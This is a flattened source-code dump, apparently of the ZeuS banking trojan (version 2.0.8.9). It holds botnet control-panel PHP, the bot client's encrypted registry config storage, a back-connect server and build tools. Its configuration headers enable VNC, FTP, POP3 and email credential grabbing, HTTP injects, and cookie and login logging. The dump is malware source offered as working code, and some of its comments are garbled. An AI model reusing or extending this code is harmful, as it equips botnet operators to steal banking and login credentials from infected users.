1, THEME_DIALOG_ITEM_CHILD_BEGIN). 48 | str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN). 49 | $osList. 50 | THEME_LIST_END. 51 | THEME_DIALOG_ITEM_CHILD_END. 52 | THEME_DIALOG_ROW_END. 53 | THEME_DIALOG_END; 54 | ThemeEnd(); 55 | ?> -------------------------------------------------------------------------------- /output/server[php]/system/stats_os.php: -------------------------------------------------------------------------------- 1 | 0) 17 | { 18 | $list = array(); 19 | while(($mt = @mysql_fetch_row($r)))@$list[osDataToString($mt[0])] += $mt[1]; 20 | arsort($list); 21 | 22 | $i = 0; 23 | foreach($list as $name => $count) 24 | { 25 | $osList .= 26 | THEME_LIST_ROW_BEGIN. 27 | str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1). 28 | str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1). 29 | THEME_LIST_ROW_END; 30 | $i++; 31 | } 32 | } 33 | //Ошибка. 34 | else 35 | { 36 | $osList .= 37 | THEME_LIST_ROW_BEGIN. 38 | str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1). 39 | THEME_LIST_ROW_END; 40 | } 41 | 42 | ThemeBegin(LNG_STATS, 0, 0, 0); 43 | echo 44 | str_replace('{WIDTH}', OSLIST_WIDTH.'px', THEME_DIALOG_BEGIN). 45 | str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO.THEME_STRING_SPACE.botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE). 46 | THEME_DIALOG_ROW_BEGIN. 47 | str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN). 48 | str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN). 49 | $osList. 50 | THEME_LIST_END. 51 | THEME_DIALOG_ITEM_CHILD_END. 52 | THEME_DIALOG_ROW_END. 53 | THEME_DIALOG_END; 54 | ThemeEnd(); 55 | ?> -------------------------------------------------------------------------------- /source/server[php]/system/stats_os.php: -------------------------------------------------------------------------------- 1 | 0) 17 | { 18 | $list = array(); 19 | while(($mt = @mysql_fetch_row($r)))@$list[osDataToString($mt[0])] += $mt[1]; 20 | arsort($list); 21 | 22 | $i = 0; 23 | foreach($list as $name => $count) 24 | { 25 | $osList .= 26 | THEME_LIST_ROW_BEGIN. 27 | str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1). 28 | str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1). 29 | THEME_LIST_ROW_END; 30 | $i++; 31 | } 32 | } 33 | //RћS € Pepsi ± RєR °. 34 | else 35 | { 36 | $osList .= 37 | THEME_LIST_ROW_BEGIN. 38 | str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1). 39 | THEME_LIST_ROW_END; 40 | } 41 | 42 | ThemeBegin(LNG_STATS, 0, 0, 0); 43 | echo 44 | str_replace('{WIDTH}', OSLIST_WIDTH.'px', THEME_DIALOG_BEGIN). 45 | str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO.THEME_STRING_SPACE.botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE). 46 | THEME_DIALOG_ROW_BEGIN. 47 | str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN). 48 | str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN). 49 | $osList. 50 | THEME_LIST_END. 51 | THEME_DIALOG_ITEM_CHILD_END. 52 | THEME_DIALOG_ROW_END. 53 | THEME_DIALOG_END; 54 | ThemeEnd(); 55 | ?> -------------------------------------------------------------------------------- /source/bcserver/core.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "defines.h" 6 | #include "language.h" 7 | #include "core.h" 8 | 9 | #include "..\common\mem.h" 10 | #include "..\common\str.h" 11 | #include "..\common\cui.h" 12 | #include "..\common\crypt.h" 13 | #include "..\common\console.h" 14 | 15 | COREDATA coreData; 16 | 17 | //Options for Listen. 18 | static const Cui::SWITCH listenSwitches[] = 19 | { 20 | {lng_switch_nologo, lng_switch_nologo_help}, 21 | {lng_switch_ipv4, lng_switch_ipv4_help}, 22 | {lng_switch_ipv6, lng_switch_ipv6_help}, 23 | {lng_switch_botport L":[port]", lng_switch_botport_help}, 24 | {lng_switch_clientport L":[port]", lng_switch_clientport_help} 25 | }; 26 | 27 | //Teams 28 | void commandListen(LPWSTR *switches, DWORD switchesCount); 29 | 30 | static const Cui::COMMAND commands[] = 31 | { 32 | {lng_command_listen, lng_command_listen_help, commandListen, (Cui::SWITCH *)listenSwitches, sizeof(listenSwitches) / sizeof(Cui::SWITCH)} 33 | }; 34 | 35 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 36 | 37 | void Core::init(void) 38 | { 39 | Mem::_zero(&coreData, sizeof(COREDATA)); 40 | CWA(kernel32, GetModuleFileNameW)(NULL, coreData.fileName, MAX_PATH); 41 | 42 | coreData.exitCode = Cui::EXITCODE_ERROR_BAD_COMMAND_LINE; 43 | coreData.commandLine.args = CWA(kernel32, CommandLineToArgvW)(CWA(kernel32, GetCommandLineW()), &coreData.commandLine.argsCount); 44 | } 45 | 46 | void Core::uninit(void) 47 | { 48 | if(coreData.commandLine.args)CWA(kernel32, LocalFree)(coreData.commandLine.args); 49 | } 50 | 51 | void Core::showLogo(void) 52 | { 53 | Console::writeFormatW(lng_logo, VERSION_MAJOR(BO_CLIENT_VERSION), VERSION_MINOR(BO_CLIENT_VERSION), VERSION_SUBMINOR(BO_CLIENT_VERSION), VERSION_BUILD(BO_CLIENT_VERSION)); 54 | } 55 | 56 | //////////////////////////////////////////////////// /////////////////////////// 57 | // Entry point. 58 | //////////////////////////////////////////////////// /////////////////////////// 59 | 60 | void WINAPI entryPoint(void) 61 | { 62 | Mem::init(); 63 | Console::init(); 64 | Crypt::init(); 65 | Core::init(); 66 | 67 | CUI_DEFAULT_COMMANDLINE_HELPER; 68 | 69 | Core::uninit(); 70 | Crypt::uninit(); 71 | Console::uninit(); 72 | Mem::uninit(); 73 | 74 | CWA(kernel32, ExitProcess)(coreData.exitCode); 75 | } 76 | -------------------------------------------------------------------------------- /source/buildtools/language.h: -------------------------------------------------------------------------------- 1 | /*  Language.*/ 2 | #pragma once 3 | 4 | #include "..\common\cui[en].h" 5 | 6 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 7 | // Logo. 8 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 9 | 10 | #define lng_logo BO_NAME L" build tools.\nBuild time: " BO_BUILDTIME L".\n\n" 11 | 12 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 13 | // Commands and options. 14 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 15 | 16 | #define lng_command_ror13 L"ror13" 17 | #define lng_command_ror13_help L"ROR13 hash for input string." 18 | 19 | #define lng_switch_inputstring L"is" 20 | #define lng_switch_inputstring_help L"Input string." 21 | 22 | #define lng_command_peinfo L"peinfo" 23 | #define lng_command_peinfo_help L"Get information from PE file." 24 | 25 | #define lng_switch_file L"file" 26 | #define lng_switch_file_help L"PE file." 27 | 28 | #define lng_switch_as_va L"va" 29 | #define lng_switch_as_va_help L"Use VA inside RVA for input and ouput addresses." 30 | 31 | #define lng_switch_datadirectory L"dd" 32 | #define lng_switch_datadirectory_help L"Get RVA and size from IMAGE_OPTIONAL_HEADER::DataDirectory[index]." 33 | 34 | #define lng_switch_patch_dw L"pdw" 35 | #define lng_switch_patch_dw_help L"Patch DWORD in section at specified RVA of image." 36 | 37 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 38 | //In ROR13. 39 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 40 | 41 | #define lng_ror13_no_inputstring lng_error L"Input string not defined.\n" 42 | 43 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 44 | //In PEINFO. 45 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 46 | 47 | #define lng_peinfo_no_pefile lng_error L"PE file not specified.\n" 48 | #define lng_peinfo_pefile_corrupted lng_error L"PE file corrupted.\n" 49 | #define lng_peinfo_invalid_rva lng_error L"Invalid RVA specified.\n" 50 | #define lng_peinfo_patched L"Patched!\n" 51 | #define lng_peinfo_not_patched lng_error L"RVA not found.\n" -------------------------------------------------------------------------------- /source/common/generateddata.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | //Autogenerated file! 4 | 5 | enum 6 | { 7 | BCF_02 = 0x00000001, 8 | BCF_09 = 0x00000002, 9 | BCF_01 = 0x00000004, 10 | BCF_21 = 0x00000008, 11 | BCF_DISABLE_TCPSERVER = 0x00000010, 12 | BCF_16 = 0x00000020, 13 | BCF_18 = 0x00000040, 14 | BCF_27 = 0x00000080, 15 | BCF_26 = 0x00000100, 16 | BCF_30 = 0x00000200, 17 | BCF_17 = 0x00000400, 18 | BCF_19 = 0x00000800, 19 | BCF_29 = 0x00001000, 20 | BCF_12 = 0x00002000, 21 | BCF_20 = 0x00004000, 22 | BCF_11 = 0x00008000, 23 | BCF_06 = 0x00010000, 24 | BCF_15 = 0x00020000, 25 | BCF_04 = 0x00040000, 26 | BCF_10 = 0x00080000, 27 | BCF_07 = 0x00100000, 28 | BCF_23 = 0x00200000, 29 | BCF_13 = 0x00400000, 30 | BCF_08 = 0x00800000, 31 | BCF_05 = 0x01000000, 32 | BCF_03 = 0x02000000, 33 | BCF_14 = 0x04000000, 34 | BCF_28 = 0x08000000, 35 | BCF_24 = 0x10000000, 36 | BCF_REMOVE_CERTS = 0x20000000, 37 | BCF_25 = 0x40000000, 38 | BCF_22 = 0x80000000 39 | }; 40 | 41 | typedef struct 42 | { 43 | BYTE padding0[80]; 44 | DWORD flags; //Flags BCF_ *. 45 | BYTE padding1[58]; 46 | DWORD delayStats; //These zaderzhok to send statistics. 47 | BYTE padding2[91]; 48 | char defaultConfig[100 + 1]; //URL default configuration. 49 | BYTE padding3[7]; 50 | Crypt::RC4KEY baseKey; //The encryption key is a botnet. 51 | BYTE padding4[77]; 52 | WCHAR defaultBotnet[BOTNET_MAX_CHARS + 1]; //The name of the botnet by default. 53 | BYTE padding5[38]; 54 | DWORD delayReport; //These zaderzhok to send reports. 55 | BYTE padding6[14]; 56 | DWORD delayConfig; //These zaderzhok to download the configuration. 57 | BYTE padding7[21]; 58 | }BASECONFIG; 59 | 60 | typedef struct 61 | { 62 | DWORD xorKey; //Encryption key. 63 | DWORD installSize; //Size CoreInstall:: _install (). 64 | DWORD updateSize; //Size CoreInstall:: _update (). 65 | }INSTALLDATA; 66 | -------------------------------------------------------------------------------- /source/common/config.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | //Autogenerated file! 4 | 5 | #define BO_CLIENT_VERSION 0x02000809 //2.0.8.9 6 | 7 | #define BO_NAME L"ZeuS" 8 | #define BO_BUILDTIME L"15:06:54 14.04.2011 GMT" 9 | 10 | #define BO_DEBUG 0 11 | #define BO_MANUAL 0 12 | #define BO_NSPR4 1 13 | #define BO_WININET 1 14 | #define BO_SOFTWARE_FTP 1 15 | #define BO_SOFTWARE_EMAIL 1 16 | #define BO_SOCKET_FTP 1 17 | #define BO_SOCKET_POP3 1 18 | #define BO_VNC 1 19 | #define BO_JABBER_NOTIFIER 1 20 | #define BO_CLIENT_PLATFORMS 1 21 | #define BO_CLIENT_PLATFORMS_WIN32 1 22 | #define BO_SERVER_PLATFORMS 1 23 | #define BO_SERVER_PLATFORMS_PHP 1 24 | #define BO_BCSERVER_PLATFORMS 1 25 | #define BO_BCSERVER_PLATFORMS_WIN32 1 26 | #define BO_BUILDER_PLATFORMS 1 27 | #define BO_BUILDER_PLATFORMS_WIN32 1 28 | #define BO_BUILDTOOLS_PLATFORMS 0 29 | #define BO_SIGNATURE "warrior buy source" 30 | #define BO_SIGNATURE_HASH "0xF52BE0F5" 31 | 32 | //List of common defines from defines.php 33 | 34 | #define SBCID_BOT_ID 10001 35 | #define SBCID_BOTNET 10002 36 | #define SBCID_BOT_VERSION 10003 37 | #define SBCID_NET_LATENCY 10005 38 | #define SBCID_TCPPORT_S1 10006 39 | #define SBCID_PATH_SOURCE 10007 40 | #define SBCID_PATH_DEST 10008 41 | #define SBCID_TIME_SYSTEM 10009 42 | #define SBCID_TIME_TICK 10010 43 | #define SBCID_TIME_LOCALBIAS 10011 44 | #define SBCID_OS_INFO 10012 45 | #define SBCID_LANGUAGE_ID 10013 46 | #define SBCID_PROCESS_NAME 10014 47 | #define SBCID_PROCESS_USER 10015 48 | #define SBCID_IPV4_ADDRESSES 10016 49 | #define SBCID_IPV6_ADDRESSES 10017 50 | #define SBCID_BOTLOG_TYPE 10018 51 | #define SBCID_BOTLOG 10019 52 | #define SBCID_SCRIPT_ID 11000 53 | #define SBCID_SCRIPT_STATUS 11001 54 | #define SBCID_SCRIPT_RESULT 11002 55 | #define CFGID_LAST_VERSION 20001 56 | #define CFGID_LAST_VERSION_URL 20002 57 | #define CFGID_URL_SERVER_0 20003 58 | #define CFGID_URL_ADV_SERVERS 20004 59 | #define CFGID_HTTP_FILTER 20005 60 | #define CFGID_HTTP_POSTDATA_FILTER 20006 61 | #define CFGID_HTTP_INJECTS_LIST 20007 62 | #define CFGID_DNS_LIST 20008 63 | #define BLT_UNKNOWN 0 64 | #define BLT_COOKIES 1 65 | #define BLT_FILE 2 66 | #define BLT_HTTP_REQUEST 11 67 | #define BLT_HTTPS_REQUEST 12 68 | #define BLT_LOGIN_FTP 100 69 | #define BLT_LOGIN_POP3 101 70 | #define BLT_GRABBED_UI 200 71 | #define BLT_GRABBED_HTTP 201 72 | #define BLT_GRABBED_WSOCKET 202 73 | #define BLT_GRABBED_FTPSOFTWARE 203 74 | #define BLT_GRABBED_EMAILSOFTWARE 204 75 | #define BLT_GRABBED_OTHER 299 76 | #define BOT_ID_MAX_CHARS 100 77 | #define BOTNET_MAX_CHARS 20 78 | -------------------------------------------------------------------------------- /temp/server/php/botnet_scripts.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/botnet_scripts.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/client/localsettings.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "defines.h" 5 | #include "core.h" 6 | #include "localsettings.h" 7 | 8 | #include "..\common\registry.h" 9 | #include "..\common\sync.h" 10 | #include "..\common\process.h" 11 | 12 | static WCHAR registryKey[CORE_REGISTRY_KEY_BUFFER_SIZE]; 13 | static WCHAR registryValue[CORE_REGISTRY_VALUE_BUFFER_SIZE]; 14 | static WCHAR readWriteMutex[50]; 15 | static HANDLE lastReadWriteMutex; 16 | 17 | static void initRegistry(void) 18 | { 19 | 20 | } 21 | 22 | void LocalSettings::init(void) 23 | { 24 | readWriteMutex[0] = 0; 25 | registryKey[0] = 0; 26 | } 27 | 28 | void LocalSettings::uninit(void) 29 | { 30 | 31 | } 32 | 33 | void LocalSettings::getCurrent(SETTINGS *settings) 34 | { 35 | if(registryKey[0] == 0)Core::getRegistryValue(Core::RV_LOCALSETTINGS, registryKey, registryValue); 36 | 37 | bool r = false; 38 | DWORD type; 39 | void *data; 40 | DWORD size = Registry::_getValueAsBinaryEx(HKEY_CURRENT_USER, registryKey, registryValue, &type, &data); 41 | 42 | if(size != (DWORD)-1) 43 | { 44 | if(type == REG_BINARY && size >= sizeof(SETTINGS)) 45 | { 46 | Mem::_copy(settings, data, sizeof(SETTINGS)); 47 | 48 | //Remove encryption. 49 | { 50 | PESETTINGS pes; 51 | Core::getPeSettings(&pes); 52 | Crypt::_rc4(settings, sizeof(SETTINGS), &pes.rc4Key); 53 | } 54 | 55 | r = true; 56 | } 57 | Mem::free(data); 58 | } 59 | 60 | if(r == false)Mem::_zero(settings, sizeof(SETTINGS)); 61 | } 62 | 63 | bool LocalSettings::beginReadWrite(SETTINGS *settings) 64 | { 65 | if(readWriteMutex[0] == 0)Core::generateObjectName(Core::OBJECT_ID_LOCALSETTINGS, readWriteMutex, MalwareTools::KON_GLOBAL); 66 | HANDLE mutex = Sync::_waitForMutex(&coreData.securityAttributes.saAllowAll, readWriteMutex); 67 | if(mutex != NULL) 68 | { 69 | lastReadWriteMutex = mutex; 70 | getCurrent(settings); 71 | return true; 72 | } 73 | return false; 74 | } 75 | 76 | bool LocalSettings::endReadWrite(SETTINGS *settings) 77 | { 78 | bool r = false; 79 | if(settings != NULL && coreData.integrityLevel > Process::INTEGRITY_LOW) 80 | { 81 | //Encrypt. 82 | { 83 | PESETTINGS pes; 84 | Core::getPeSettings(&pes); 85 | Crypt::_rc4(settings, sizeof(SETTINGS), &pes.rc4Key); 86 | } 87 | 88 | //Save. 89 | //FIXME: randomize length. 90 | r = Registry::_setValueAsBinary(HKEY_CURRENT_USER, registryKey, registryValue, REG_BINARY, settings, sizeof(SETTINGS)); 91 | } 92 | Sync::_freeMutex(lastReadWriteMutex); 93 | return r; 94 | } 95 | -------------------------------------------------------------------------------- /source/server[php]/system/botnet_scripts.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/botnet_scripts.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/client/localconfig.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "defines.h" 5 | #include "core.h" 6 | #include "localconfig.h" 7 | 8 | #include "..\common\registry.h" 9 | #include "..\common\sync.h" 10 | #include "..\common\process.h" 11 | 12 | static WCHAR registryKey[CORE_REGISTRY_KEY_BUFFER_SIZE]; 13 | static WCHAR registryValue[CORE_REGISTRY_VALUE_BUFFER_SIZE]; 14 | static WCHAR readWriteMutex[50]; 15 | static HANDLE lastReadWriteMutex; 16 | 17 | void LocalConfig::init(void) 18 | { 19 | readWriteMutex[0] = 0; 20 | registryKey[0] = 0; 21 | } 22 | 23 | void LocalConfig::uninit(void) 24 | { 25 | 26 | } 27 | 28 | BinStorage::STORAGE *LocalConfig::getCurrent(void) 29 | { 30 | void *data; 31 | DWORD dataSize; 32 | 33 | //Obtain the encrypted data. 34 | { 35 | DWORD type; 36 | 37 | if(registryKey[0] == 0)Core::getRegistryValue(Core::RV_LOCALCONFIG, registryKey, registryValue); 38 | if((dataSize = Registry::_getValueAsBinaryEx(HKEY_CURRENT_USER, registryKey, registryValue, &type, &data)) == (DWORD)-1)return NULL; 39 | if(type != REG_BINARY) 40 | { 41 | Mem::free(data); 42 | return NULL; 43 | } 44 | } 45 | 46 | //Obtain the configuration. 47 | { 48 | PESETTINGS pes; 49 | Core::getPeSettings(&pes); 50 | 51 | if(BinStorage::_unpack(NULL, data, dataSize, &pes.rc4Key) == 0) 52 | { 53 | Mem::free(data); 54 | return NULL; 55 | } 56 | } 57 | return (BinStorage::STORAGE *)data; 58 | } 59 | 60 | BinStorage::STORAGE *LocalConfig::beginReadWrite(void) 61 | { 62 | if(readWriteMutex[0] == 0)Core::generateObjectName(Core::OBJECT_ID_LOCALCONFIG, readWriteMutex, MalwareTools::KON_GLOBAL); 63 | 64 | BinStorage::STORAGE *bs = NULL; 65 | HANDLE mutex = Sync::_waitForMutex(&coreData.securityAttributes.saAllowAll, readWriteMutex); 66 | if(mutex != NULL) 67 | { 68 | lastReadWriteMutex = mutex; 69 | if((bs = getCurrent()) == NULL && (bs = BinStorage::_createEmpty()) == NULL) 70 | { 71 | Sync::_freeMutex(mutex); 72 | } 73 | } 74 | return bs; 75 | } 76 | 77 | bool LocalConfig::endReadWrite(BinStorage::STORAGE *binStorage) 78 | { 79 | bool r = false; 80 | if(binStorage != NULL && coreData.integrityLevel > Process::INTEGRITY_LOW) 81 | { 82 | //Encrypt. 83 | PESETTINGS pes; 84 | Core::getPeSettings(&pes); 85 | 86 | DWORD size = BinStorage::_pack(&binStorage, BinStorage::PACKF_FINAL_MODE, &pes.rc4Key); 87 | if(size > 0)r = Registry::_setValueAsBinary(HKEY_CURRENT_USER, registryKey, registryValue, REG_BINARY, binStorage, size); 88 | } 89 | 90 | Mem::free(binStorage); 91 | Sync::_freeMutex(lastReadWriteMutex); 92 | return r; 93 | } 94 | -------------------------------------------------------------------------------- /output/server[php]/system/botnet_scripts.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/botnet_scripts.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /make/make.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | Win32 7 | 8 | 9 | 10 | {293C7394-47E2-42E7-A21B-AD588E1BA2D0} 11 | client 12 | Win32Proj 13 | 14 | 15 | 16 | Utility 17 | Unicode 18 | false 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | <_ProjectFileVersion>10.0.30319.1 29 | $(SolutionDir)$(Configuration)\ 30 | $(Configuration)\ 31 | 32 | false 33 | false 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /source/buildtools/core.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "defines.h" 6 | #include "core.h" 7 | #include "language.h" 8 | 9 | #include "..\common\mem.h" 10 | #include "..\common\str.h" 11 | #include "..\common\console.h" 12 | #include "..\common\cui.h" 13 | 14 | COREDATA coreData; 15 | 16 | //ROR 13 Options 17 | static const Cui::SWITCH ror13Switches[] = 18 | { 19 | {lng_switch_nologo, lng_switch_nologo_help}, 20 | {lng_switch_inputstring L":[string]", lng_switch_inputstring_help} 21 | }; 22 | 23 | //PEINFO Options 24 | static const Cui::SWITCH peInfoSwitches[] = 25 | { 26 | {lng_switch_nologo, lng_switch_nologo_help}, 27 | {lng_switch_file L":[file]", lng_switch_file_help}, 28 | {lng_switch_as_va, lng_switch_as_va_help}, 29 | {lng_switch_datadirectory L":[index]", lng_switch_datadirectory_help}, 30 | {lng_switch_patch_dw L":[rva,dword]", lng_switch_patch_dw_help} 31 | }; 32 | 33 | //Teams 34 | void commandRor13(LPWSTR *switches, DWORD switchesCount); 35 | void commandPeInfo(LPWSTR *switches, DWORD switchesCount); 36 | 37 | static const Cui::COMMAND commands[] = 38 | { 39 | {lng_command_ror13, lng_command_ror13_help, commandRor13, (Cui::SWITCH *)ror13Switches, sizeof(ror13Switches) / sizeof(Cui::SWITCH)}, 40 | {lng_command_peinfo, lng_command_peinfo_help, commandPeInfo, (Cui::SWITCH *)peInfoSwitches, sizeof(peInfoSwitches) / sizeof(Cui::SWITCH)}, 41 | }; 42 | 43 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 44 | 45 | void Core::init(void) 46 | { 47 | Mem::_zero(&coreData, sizeof(COREDATA)); 48 | CWA(kernel32, GetModuleFileNameW)(NULL, coreData.fileName, MAX_PATH); 49 | 50 | coreData.exitCode = Cui::EXITCODE_ERROR_BAD_COMMAND_LINE; 51 | coreData.commandLine.args = CWA(kernel32, CommandLineToArgvW)(CWA(kernel32, GetCommandLineW()), &coreData.commandLine.argsCount); 52 | } 53 | 54 | void Core::uninit(void) 55 | { 56 | if(coreData.commandLine.args != NULL)CWA(kernel32, LocalFree)(coreData.commandLine.args); 57 | } 58 | 59 | void Core::showLogo(void) 60 | { 61 | Console::writeStringW(lng_logo, sizeof(lng_logo) / sizeof(WCHAR) - 1); 62 | } 63 | 64 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 65 | // Entry point. 66 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 67 | void WINAPI entryPoint(void) 68 | { 69 | Mem::init(); 70 | Console::init(); 71 | Core::init(); 72 | 73 | CUI_DEFAULT_COMMANDLINE_HELPER; 74 | 75 | Core::uninit(); 76 | Console::uninit(); 77 | Mem::uninit(); 78 | 79 | CWA(kernel32, ExitProcess)(coreData.exitCode); 80 | } 81 | -------------------------------------------------------------------------------- /source/bcserver/bcserver.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | Win32 7 | 8 | 9 | 10 | {122A7394-24A2-4277-A19B-EC588E1B10D1} 11 | client 12 | Win32Proj 13 | 14 | 15 | 16 | Utility 17 | Unicode 18 | false 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | <_ProjectFileVersion>10.0.30319.1 29 | $(SolutionDir)$(Configuration)\ 30 | $(Configuration)\ 31 | 32 | false 33 | false 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /source/common/defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | //And the formation and version control. 4 | #define MAKE_VERSION(a, b, c, d) (((((DWORD)(a)) & 0xFF) << 24) | ((((DWORD)(b)) & 0xFF) << 16) | ((((DWORD)(c)) & 0xFF) << 8) | ((((DWORD)(d)) & 0xFF))) 5 | #define VERSION_MAJOR(a) ((BYTE)(((a) >> 24) & 0xFF)) 6 | #define VERSION_MINOR(b) ((BYTE)(((b) >> 16) & 0xFF)) 7 | #define VERSION_SUBMINOR(c) ((BYTE)(((c) >> 8) & 0xFF)) 8 | #define VERSION_BUILD(d) ((BYTE)((d) & 0xFF)) 9 | 10 | //Prefixes for functions that are entirely written in asm. 11 | #if defined _WIN64 12 | # define ASM_INTERNAL_DEF 13 | # define ASM_INTERNAL 14 | #else 15 | # define ASM_INTERNAL_DEF __stdcall 16 | # define ASM_INTERNAL __declspec(naked) __stdcall 17 | #endif 18 | 19 | //Conversion BIG_ENDIAN <=> LITTLE_ENDIAN 20 | #define SWAP_WORD(s) (((((WORD)(s)) >> 8) & 0x00FF) | ((((WORD)(s)) << 8) & 0xFF00)) 21 | #define SWAP_DWORD(l) (((((DWORD)(l)) >> 24) & 0x000000FFL) | ((((DWORD)(l)) >> 8) & 0x0000FF00L) | ((((DWORD)(l)) << 8) & 0x00FF0000L) | ((((DWORD)(l)) << 24) & 0xFF000000L)) 22 | 23 | //Creation of two dword qword 24 | #define MAKEDWORD64(l, h) ((DWORD64)(((DWORD)((DWORD64)(l) & MAXDWORD)) | ((DWORD64)((DWORD)((DWORD64)(h) & MAXDWORD))) << 32)) 25 | 26 | //Kolichetsvo connection attempts. 27 | #define WININET_CONNECT_RETRY_COUNT 5 28 | 29 | //The delay between connections. 30 | #define WININET_CONNECT_RETRY_DELAY 5000 31 | 32 | //Place to store settings in registers readily. 33 | #define PATH_REGKEY L"SOFTWARE\\Microsoft" 34 | 35 | //Extension for PE executable. 36 | #define FILEEXTENSION_EXECUTABLE L".exe" 37 | 38 | //Extension for a temporary file. 39 | #define FILEEXTENSION_TEMP L".tmp" 40 | 41 | //Expansion of the text file. 42 | #define FILEEXTENSION_TXT L".txt" 43 | 44 | //Number of PE-section, which is a key base configuration. 45 | #define PESECTION_OF_BASECONFIG_KEY 2 46 | 47 | //Page to test lag. 48 | #define TESTLATENCY_URL "http://www.google.com / webhp " 49 | 50 | //The format of a screenshot for UserHook. 51 | #define USERCLICK2IMAGE_LIMIT 20 52 | #define USERCLICK2IMAGE_SIZE 500 53 | 54 | //Pereud ports for TCP-server. 55 | #define TCPSERVER_PORT_FIRST 10000 56 | #define TCPSERVER_PORT_LAST 40000 57 | 58 | //Font used in the dialogues 59 | #define FONT_DIALOG "MS Shell Dlg 2" 60 | 61 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 62 | // Various options dependent on options BO_ *. 63 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 64 | 65 | #if(BO_NSPR4 > 0) 66 | # define HOOKER_LDRLOADDLL 67 | #endif 68 | 69 | #if(0) 70 | # define HOOKER_SETWINDOWTEXT 71 | #endif 72 | 73 | #if(0) 74 | # define HOOKER_NTCREATEFILE 75 | #endif 76 | 77 | #if(0) 78 | # define HOOKER_SETCHILDPROCESSFLAGS 79 | #endif 80 | -------------------------------------------------------------------------------- /source/buildtools/buildtools.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | Win32 7 | 8 | 9 | 10 | {715117DB-E82E-4287-98E5-96135B921586} 11 | buildtools 12 | Win32Proj 13 | 14 | 15 | 16 | Utility 17 | Unicode 18 | false 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | <_ProjectFileVersion>10.0.30319.1 29 | $(SolutionDir)$(Configuration)\ 30 | $(Configuration)\ 31 | 32 | false 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | cd..\.. 41 | call make.cmd 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /source/common/winsecurity.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "winsecurity.h" 6 | #include "process.h" 7 | 8 | #define 